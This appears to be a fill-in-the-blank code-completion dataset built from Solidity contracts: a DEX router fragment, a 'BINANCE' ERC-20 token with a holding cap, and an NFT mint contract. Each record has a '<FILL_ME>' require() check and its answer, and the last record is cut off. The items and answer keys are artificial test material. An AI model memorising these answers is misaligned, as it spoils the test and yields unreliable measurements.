}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external virtual override ensure(deadline) {
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable virtual override ensure(deadline) {
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external virtual override ensure(deadline) {
}
// **** LIBRARY FUNCTIONS ****
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) public pure virtual override returns (uint256 amountB) {
}
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) public pure virtual override returns (uint256 amountOut) {
}
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) public pure virtual override returns (uint256 amountIn) {
}
function getAmountsOut(uint256 amountIn, address[] memory path)
public
view
virtual
override
returns (uint256[] memory amounts)
{
}
function getAmountsIn(uint256 amountOut, address[] memory path)
public
view
virtual
override
returns (uint256[] memory amounts)
{
}
function getAmountOutWhitelist(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) public pure returns (uint256 amountOut) {
}
function getAmountInWhitelist(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) public pure returns (uint256 amountIn) {
}
function getAmountsOutWhitelist(uint256 amountIn, address[] memory path)
public
view
returns (uint256[] memory amounts)
{
}
function getAmountsInWhitelist(uint256 amountOut, address[] memory path)
public
view
returns (uint256[] memory amounts)
{
}
}
| path[path.length-1]==WBNB,"UniswapV2Router: INVALID_PATH" | 230,380 | path[path.length-1]==WBNB |
"Cannot exceed max amount per address" | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BINANCE is IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _maxAddressAmt;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping (address => bool) private _maxAddressAmtExcluded;
constructor() {
}
function setMaxAddressAmtExcluded(address a, bool excluded) public onlyOwner {
}
function removeMaxAddressAmt() public onlyOwner{
}
function burn(uint256 amount) external {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
if (!_maxAddressAmtExcluded[to]) {
require(<FILL_ME>)
}
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function name() public view override returns (string memory) {
}
function symbol() public view override returns (string memory) {
}
function decimals() public view override returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
}
| balanceOf(to)<=_maxAddressAmt,"Cannot exceed max amount per address" | 230,397 | balanceOf(to)<=_maxAddressAmt |
"Exceeded max mint count" | // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@ @@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@ @@@@ &@@@@@@@@@@@@ @@@@@
// @@@@@ @@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@
// @@@@@ #@ @@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@. @@@@@@@ @@@@@@@@
// @@@@@ #@@ @@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@
// @@@@@ #@@@@ @@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ & @@@@@@@@@@@
// @@@@@ #@@@@@ @@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@@
// @@@@@ #@@@@@@@ @@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@ &@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@ @@
// @@@ @@@@@@@@ .@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@ @@@@@* &@@@@@@@@@@@@ @@
// @@@ @@@@@@@@@ @@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@ @@@@@* /@@@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@*@@@, @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@ @@@@@* @@@@@@, @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ %@@@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@ @@@@@* &@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ ,@@@ @@@@@ @@@@@@ @@@@@ @@@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@@@@@ @@@@@ @@@@@@@ @@@@@@ @@@@@# ,@@@@@ @@@@@* @@@@@@@ @@@@@@ @@
// @@@ @@@@@ &@@@@@@ @@@@@ /@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@* @@
// @@@ @@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract NiftyMusic721 is ERC721A, ERC721ABurnable, Ownable, PaymentSplitter {
using Strings for uint256;
// The total tokens minted to an address. Does not matter if tokens are transferred out
mapping(address => uint256) public addressMintCount;
mapping(address => bool) public freeMintClaimed;
string public baseTokenURI; // Can be combined with the tokenId to create the metadata URI
uint256 public mintPhase = 0; // 0 = closed, 1 = WL sale, 2 = public sale
bool public allowBurn = false; // Admin toggle for allowing the burning of tokens
uint256 public constant MINT_PRICE = 0.05 ether; // Public mint price
uint256 public constant ALLOWLIST_MINT_PRICE = 0.045 ether; // Mint price for allowlisted addresses only
uint256 public constant MAX_TOTAL_SUPPLY = 2500; // The maximum total supply of tokens
uint256 public constant MAX_MINT_COUNT = 10; // The maximum number of tokens any one address can mint
uint256 public maxWLMintCount = 20; // The maximum number of tokens a whitelisted address can mint
bytes32 public wlRoot; // The merkle tree root. Used for verifying allowlist addresses
bytes32 public freeMintRoot; // Merkle root for free mint list
uint256 private constant MAX_TOKEN_ITERATIONS = 40; // Used to prevent out-of-gas errors when looping
event SetBaseURI(address _from);
event Withdraw(address _from, address _to, uint amount);
event MintPhaseChanged(address _from, uint newPhase);
event ToggleAllowBurn(bool isAllowed);
constructor(string memory _baseUri, bytes32 _WLmerkleroot, bytes32 _freeMintMerkleroot, address[] memory _payees, uint256[] memory _shares) ERC721A("Moonshot", "MOON") PaymentSplitter(_payees, _shares) {
}
// Allows the contract owner to update the merkle root (allowlist)
function setWLMerkleRoot(bytes32 _WLmerkleroot) external onlyOwner {
}
// Allows the contract owner to update the merkle root (free mint list)
function setFreeMintMerkleRoot(bytes32 _freeMintMerkleroot) external onlyOwner {
}
// Allows the contract owner to set a new base URI string
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
// Allows the contract owner to set the wl cap
function setWLCap(uint _newCap) external onlyOwner {
}
// Overrides the tokenURI function so that the base URI can be returned
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function mint(uint256 _amount) external payable {
uint256 supply = totalSupply();
uint256 mintCount = addressMintCount[msg.sender];
require(mintPhase==2, "Public sale is not yet active");
require(_amount > 0, "Mint amount can't be zero");
require(<FILL_ME>)
require(supply + _amount <= MAX_TOTAL_SUPPLY, "Max mint supply has been reached");
require(_amount * MINT_PRICE == msg.value, "Check mint price");
addressMintCount[msg.sender] = mintCount + _amount;
_safeMint(msg.sender, _amount);
}
// Only accessible by the contract owner. This function is used to mint tokens for the team.
function ownerMint(uint256 _amount, address _recipient) external onlyOwner {
}
// Minting function for addresses on the allowlist only
function mintAllowList(uint256 _amount, bytes32[] calldata _proof) external payable {
}
// Minting function addresses on the OG list only
function mintFreeMintList(bytes32[] calldata _proof) external {
}
// An owner-only function which toggles the public sale on/off
function changeMintPhase(uint256 _newPhase) external onlyOwner {
}
// An owner-only function which toggles the allowBurn variable
function toggleAllowBurn() external onlyOwner {
}
// Used to construct a merkle tree leaf
function _leaf(address _account)
internal pure returns (bytes32)
{
}
// Verifies a leaf is part of the tree
function _verify(bytes32 leaf, bytes32[] memory _proof, bytes32 _root) pure
internal returns (bool)
{
}
// Overrides the ERC721A burn function
function burn(uint256 _tokenId) public virtual override {
}
}
| mintCount+_amount<=MAX_MINT_COUNT,"Exceeded max mint count" | 230,426 | mintCount+_amount<=MAX_MINT_COUNT |
"Max mint supply has been reached" | // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@ @@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@ @@@@ &@@@@@@@@@@@@ @@@@@
// @@@@@ @@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@
// @@@@@ #@ @@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@. @@@@@@@ @@@@@@@@
// @@@@@ #@@ @@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@
// @@@@@ #@@@@ @@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ & @@@@@@@@@@@
// @@@@@ #@@@@@ @@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@@
// @@@@@ #@@@@@@@ @@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@ &@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@ @@
// @@@ @@@@@@@@ .@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@ @@@@@* &@@@@@@@@@@@@ @@
// @@@ @@@@@@@@@ @@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@ @@@@@* /@@@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@*@@@, @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@ @@@@@* @@@@@@, @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ %@@@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@ @@@@@* &@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ ,@@@ @@@@@ @@@@@@ @@@@@ @@@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@@@@@ @@@@@ @@@@@@@ @@@@@@ @@@@@# ,@@@@@ @@@@@* @@@@@@@ @@@@@@ @@
// @@@ @@@@@ &@@@@@@ @@@@@ /@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@* @@
// @@@ @@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract NiftyMusic721 is ERC721A, ERC721ABurnable, Ownable, PaymentSplitter {
using Strings for uint256;
// The total tokens minted to an address. Does not matter if tokens are transferred out
mapping(address => uint256) public addressMintCount;
mapping(address => bool) public freeMintClaimed;
string public baseTokenURI; // Can be combined with the tokenId to create the metadata URI
uint256 public mintPhase = 0; // 0 = closed, 1 = WL sale, 2 = public sale
bool public allowBurn = false; // Admin toggle for allowing the burning of tokens
uint256 public constant MINT_PRICE = 0.05 ether; // Public mint price
uint256 public constant ALLOWLIST_MINT_PRICE = 0.045 ether; // Mint price for allowlisted addresses only
uint256 public constant MAX_TOTAL_SUPPLY = 2500; // The maximum total supply of tokens
uint256 public constant MAX_MINT_COUNT = 10; // The maximum number of tokens any one address can mint
uint256 public maxWLMintCount = 20; // The maximum number of tokens a whitelisted address can mint
bytes32 public wlRoot; // The merkle tree root. Used for verifying allowlist addresses
bytes32 public freeMintRoot; // Merkle root for free mint list
uint256 private constant MAX_TOKEN_ITERATIONS = 40; // Used to prevent out-of-gas errors when looping
event SetBaseURI(address _from);
event Withdraw(address _from, address _to, uint amount);
event MintPhaseChanged(address _from, uint newPhase);
event ToggleAllowBurn(bool isAllowed);
constructor(string memory _baseUri, bytes32 _WLmerkleroot, bytes32 _freeMintMerkleroot, address[] memory _payees, uint256[] memory _shares) ERC721A("Moonshot", "MOON") PaymentSplitter(_payees, _shares) {
}
// Allows the contract owner to update the merkle root (allowlist)
function setWLMerkleRoot(bytes32 _WLmerkleroot) external onlyOwner {
}
// Allows the contract owner to update the merkle root (free mint list)
function setFreeMintMerkleRoot(bytes32 _freeMintMerkleroot) external onlyOwner {
}
// Allows the contract owner to set a new base URI string
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
// Allows the contract owner to set the wl cap
function setWLCap(uint _newCap) external onlyOwner {
}
// Overrides the tokenURI function so that the base URI can be returned
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function mint(uint256 _amount) external payable {
uint256 supply = totalSupply();
uint256 mintCount = addressMintCount[msg.sender];
require(mintPhase==2, "Public sale is not yet active");
require(_amount > 0, "Mint amount can't be zero");
require(mintCount + _amount <= MAX_MINT_COUNT, "Exceeded max mint count");
require(<FILL_ME>)
require(_amount * MINT_PRICE == msg.value, "Check mint price");
addressMintCount[msg.sender] = mintCount + _amount;
_safeMint(msg.sender, _amount);
}
// Only accessible by the contract owner. This function is used to mint tokens for the team.
function ownerMint(uint256 _amount, address _recipient) external onlyOwner {
}
// Minting function for addresses on the allowlist only
function mintAllowList(uint256 _amount, bytes32[] calldata _proof) external payable {
}
// Minting function addresses on the OG list only
function mintFreeMintList(bytes32[] calldata _proof) external {
}
// An owner-only function which toggles the public sale on/off
function changeMintPhase(uint256 _newPhase) external onlyOwner {
}
// An owner-only function which toggles the allowBurn variable
function toggleAllowBurn() external onlyOwner {
}
// Used to construct a merkle tree leaf
function _leaf(address _account)
internal pure returns (bytes32)
{
}
// Verifies a leaf is part of the tree
function _verify(bytes32 leaf, bytes32[] memory _proof, bytes32 _root) pure
internal returns (bool)
{
}
// Overrides the ERC721A burn function
function burn(uint256 _tokenId) public virtual override {
}
}
| supply+_amount<=MAX_TOTAL_SUPPLY,"Max mint supply has been reached" | 230,426 | supply+_amount<=MAX_TOTAL_SUPPLY |
"Check mint price" | // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@ @@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@ @@@@ &@@@@@@@@@@@@ @@@@@
// @@@@@ @@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@
// @@@@@ #@ @@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@. @@@@@@@ @@@@@@@@
// @@@@@ #@@ @@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@
// @@@@@ #@@@@ @@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ & @@@@@@@@@@@
// @@@@@ #@@@@@ @@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@@
// @@@@@ #@@@@@@@ @@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@ &@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@ @@
// @@@ @@@@@@@@ .@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@ @@@@@* &@@@@@@@@@@@@ @@
// @@@ @@@@@@@@@ @@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@ @@@@@* /@@@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@*@@@, @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@ @@@@@* @@@@@@, @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ %@@@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@ @@@@@* &@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ ,@@@ @@@@@ @@@@@@ @@@@@ @@@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@@@@@ @@@@@ @@@@@@@ @@@@@@ @@@@@# ,@@@@@ @@@@@* @@@@@@@ @@@@@@ @@
// @@@ @@@@@ &@@@@@@ @@@@@ /@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@* @@
// @@@ @@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract NiftyMusic721 is ERC721A, ERC721ABurnable, Ownable, PaymentSplitter {
using Strings for uint256;
// The total tokens minted to an address. Does not matter if tokens are transferred out
mapping(address => uint256) public addressMintCount;
mapping(address => bool) public freeMintClaimed;
string public baseTokenURI; // Can be combined with the tokenId to create the metadata URI
uint256 public mintPhase = 0; // 0 = closed, 1 = WL sale, 2 = public sale
bool public allowBurn = false; // Admin toggle for allowing the burning of tokens
uint256 public constant MINT_PRICE = 0.05 ether; // Public mint price
uint256 public constant ALLOWLIST_MINT_PRICE = 0.045 ether; // Mint price for allowlisted addresses only
uint256 public constant MAX_TOTAL_SUPPLY = 2500; // The maximum total supply of tokens
uint256 public constant MAX_MINT_COUNT = 10; // The maximum number of tokens any one address can mint
uint256 public maxWLMintCount = 20; // The maximum number of tokens a whitelisted address can mint
bytes32 public wlRoot; // The merkle tree root. Used for verifying allowlist addresses
bytes32 public freeMintRoot; // Merkle root for free mint list
uint256 private constant MAX_TOKEN_ITERATIONS = 40; // Used to prevent out-of-gas errors when looping
event SetBaseURI(address _from);
event Withdraw(address _from, address _to, uint amount);
event MintPhaseChanged(address _from, uint newPhase);
event ToggleAllowBurn(bool isAllowed);
constructor(string memory _baseUri, bytes32 _WLmerkleroot, bytes32 _freeMintMerkleroot, address[] memory _payees, uint256[] memory _shares) ERC721A("Moonshot", "MOON") PaymentSplitter(_payees, _shares) {
}
// Allows the contract owner to update the merkle root (allowlist)
function setWLMerkleRoot(bytes32 _WLmerkleroot) external onlyOwner {
